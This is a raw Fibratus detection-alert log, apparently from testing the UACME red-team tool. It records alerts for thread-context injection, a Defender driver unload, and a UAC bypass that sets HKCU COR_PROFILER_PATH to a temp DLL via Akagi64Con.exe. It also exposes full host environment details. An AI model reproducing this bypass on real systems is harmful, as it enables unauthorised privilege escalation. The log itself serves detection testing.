+ Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-26 13:39:25.4141936 +0100 CET + Params: status➜ Success + Metadata: tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: Thread context set from unbacked memory, tactic.id: TA0005 + + Pid: 18984 + Ppid: 7432 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\UACME\Source\Akagi" "--pswd=C:\Fibratus\redteam\UACME\Source\Akagi" "--execution-time=31.3152" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=120" "--shell=pwsh" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\UACME\Source\Akagi" "--pswd=C:\Fibratus\redteam\UACME\Source\Akagi" "--execution-time=31.3152" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=120" "--shell=pwsh"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:5cfaaa32-1199-4076-81f7-de1a936a430a WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-26T13:39:27+01:00 level=info msg=sending alert: [Thread context set from unbacked memory]. Text: Event(s): + Seq: 1038048 + Pid: 18984 + Tid: 9328 + Type: SetThreadContext + CPU: 1 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-26 13:39:25.4148304 +0100 CET + Params: status➜ Success + Metadata: tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: Thread context set from unbacked memory + + Pid: 18984 + Ppid: 7432 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\UACME\Source\Akagi" "--pswd=C:\Fibratus\redteam\UACME\Source\Akagi" "--execution-time=31.3152" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=120" "--shell=pwsh" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\UACME\Source\Akagi" "--pswd=C:\Fibratus\redteam\UACME\Source\Akagi" "--execution-time=31.3152" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=120" "--shell=pwsh"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:5cfaaa32-1199-4076-81f7-de1a936a430a WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-26T13:40:35+01:00 level=info msg=sending alert: [Windows Defender driver unloading]. Text: Windows Defender driver C:\WINDOWS\system32\drivers\wd\WdNisDrv.sys unloaded by process C:\WINDOWS\system32\services.exe + Event(s): + Seq: 1260768 + Pid: 1000 + Tid: 17548 + Type: UnloadImage + CPU: 7 + Name: UnloadImage + Category: image + Description: Unloads the module from the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-26 13:40:34.5015826 +0100 CET + Params: base_address➜ fffff80691fc0000, checksum➜ 121631, default_address➜ 0, file_path➜ C:\WINDOWS\system32\drivers\wd\WdNisDrv.sys, image_size➜ 110592, pid➜ 0, signature_level➜ WINDOWS, signature_type➜ EMBEDDED + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.name: Impair Defenses, technique.ref: https://attack.mitre.org/techniques/T1562/, subtechnique.id: T1562.001, subtechnique.ref: https://attack.mitre.org/techniques/T1562/001, technique.id: T1562, rule.name: Windows Defender driver unloading, tactic.name: Defense Evasion, tactic.id: TA0005, subtechnique.name: Disable or Modify Tools + + Pid: 1000 + Ppid: 580 + Name: services.exe + Parent name: wininit.exe + Cmdline: C:\WINDOWS\system32\services.exe + Parent cmdline: wininit.exe + Exe: C:\WINDOWS\system32\services.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\services.exe] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-26T13:41:28+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: |C:\Users\nedo\AppData\Local\Temp\pe386.dll| + Event(s): + Seq: 1353506 + Pid: 15236 + Tid: 18316 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-11-26 13:41:25.870749 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffa2809aa0bec0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: tactic.id: TA0004, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 15236 + Ppid: 7432 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G 